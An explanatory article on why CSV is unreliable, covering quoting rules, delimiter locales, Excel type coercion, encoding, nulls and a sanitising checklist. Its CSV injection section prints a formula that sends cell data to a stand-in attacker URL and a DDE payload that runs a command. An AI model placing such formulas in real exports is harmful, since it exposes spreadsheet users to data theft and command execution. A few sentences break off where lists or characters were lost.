Why CSV Is Not Really a Format

There is a specification, and almost nobody obeys it

RFC 4180 was published in 2005 to describe what CSV files generally look like. Its status is Informational — a description of existing practice rather than a standard anyone must implement. Its core rules are worth knowing because good parsers follow them:

• Fields are separated by commas; records by CRLF.
• A field containing a comma, a double quote, or a line break must be enclosed in double quotes.
• A double quote inside a quoted field is escaped by doubling it.
• A header line is optional.

That third rule is the one hand-rolled parsers get wrong. Consider a perfectly legal single record:

id,name,quote,city
7,"O'Brien, Jr.","He said ""no"" twice","Dubai
UAE"

Four fields. The second contains a comma, the third contains two escaped quotes, and the fourth contains a real newline in the middle of the record. Splitting on , gives six fragments; splitting the file on \n gives three "rows". Both results are wrong, and both are what a naive parser produces.

The comma is not always the delimiter

This is the single most common cause of "your export is broken" support tickets. Microsoft Excel does not assume commas — it uses the list separator from the operating system's regional settings. In locales where the decimal mark is a comma (Germany, France, Spain, Italy, Brazil, and many more), the list separator is a semicolon.

So the same comma-delimited file, double-clicked:

There are two practical mitigations. The blunt one is to emit a sep=, line as the very first line of the file — a Microsoft extension that Excel honours and that most other parsers will show as a stray row. The better one, for anything user-facing, is to offer an .xlsx export instead, because a real spreadsheet file carries its own structure and is immune to locale guessing entirely.

What Excel does to your data on open

Opening a CSV in a spreadsheet is a type-inference pass over every cell, and it is lossy. None of the following are hypothetical:

The gene-name case is the well-documented one: human gene symbols such as SEPT2 and MARCH1 were corrupted so routinely in published genomics datasets that in 2020 the HUGO Gene Nomenclature Committee renamed the affected genes rather than continue fighting the spreadsheet. That is the scale of the problem — a data format nudged an entire scientific field into renaming its subject matter.

Critically, this happens on open, not on export. Your file is correct; the tool reading it changes it, and if the user then saves, the corruption is now on disk. Prefixing values with a tab or an apostrophe, or wrapping in ="01234", are all common workarounds — each with its own downside when a non-Excel consumer reads the same file.

Encoding is not declared anywhere

A CSV file carries no metadata about its own character encoding. A parser must be told, or must guess. Two consequences:

The BOM. When Excel saves as "CSV UTF-8" it prepends a byte-order mark: EF BB BF. A parser that does not strip it sees a first column named id rather than id, so every lookup by header name fails on the first column only — a wonderfully confusing symptom. Read such files with encoding utf-8-sig in Python, or strip the BOM explicitly.

Legacy single-byte encodings. Files exported from older Windows tooling are frequently Windows-1252, not UTF-8. Decoding those as UTF-8 either throws or produces mojibake — café becoming café. There is no reliable in-band way to tell; you either agree the encoding with the producer or you sniff and hope.

CSV injection: your export is executable

This one is a genuine security issue and it is frequently missed, because the vulnerability is in your output, not your input.

If a cell's value begins with =, +, - or @, spreadsheet applications treat it as a formula. So an attacker who can get text into your database — a display name, a support-ticket subject, a form field — can plant a payload that executes when an administrator later exports the data and opens it:

=HYPERLINK("https://evil.example/?d="&A1,"Click for report")
=cmd|' /c calc'!A1

The first exfiltrates the neighbouring cell's contents to an attacker-controlled URL, disguised as a helpful link. The second is a legacy DDE payload that has historically achieved command execution. The victim is an internal user with a spreadsheet, and the attack path runs straight through your perfectly functioning export feature.

Empty, null, and the difference CSV cannot express

CSV has exactly one representation for "no value": nothing between two delimiters. It cannot distinguish an empty string from a null, a missing field, or a deliberate blank. So a round trip through CSV flattens all four into one:

id,note
1,
2,""

Most parsers give you "" for both records. Some give null for the first. Neither is wrong, because the format never said. If the distinction matters to your domain — and for nullable database columns it usually does — CSV is the wrong transport, or you need an explicit sentinel value agreed with the other side (\N, as PostgreSQL's COPY uses, is a common choice).

A CSV interchange checklist

1. Use a real parser and a real writer. No manual splitting, no manual quoting.
2. Agree the encoding explicitly, and write UTF-8. Handle the BOM when reading.
3. Sanitise leading =, +, -, @ in every exported value.
4. Quote defensively on write — quoting a field that did not need it is always safe.
5. If humans will open it in Excel, ship .xlsx or accept that types will be reinterpreted.
6. Document your null convention, or avoid nullable fields in the export.
7. Prefer JSON, Parquet or a database for machine-to-machine transfer. CSV's only real advantage is that a human can open it.

CSV's strength is also its weakness

Every tool on earth can read CSV, which is precisely why it survives and precisely why it is unreliable: "every tool" means every tool's own opinion about delimiters, encodings and types. The format delegates all the hard questions to its readers, and they do not agree.

Treat a CSV file as what it is — a loosely structured text export whose types were thrown away at the boundary — and validate everything on the way back in. It is a perfectly good format for handing a table to a person. It is a poor contract between two systems.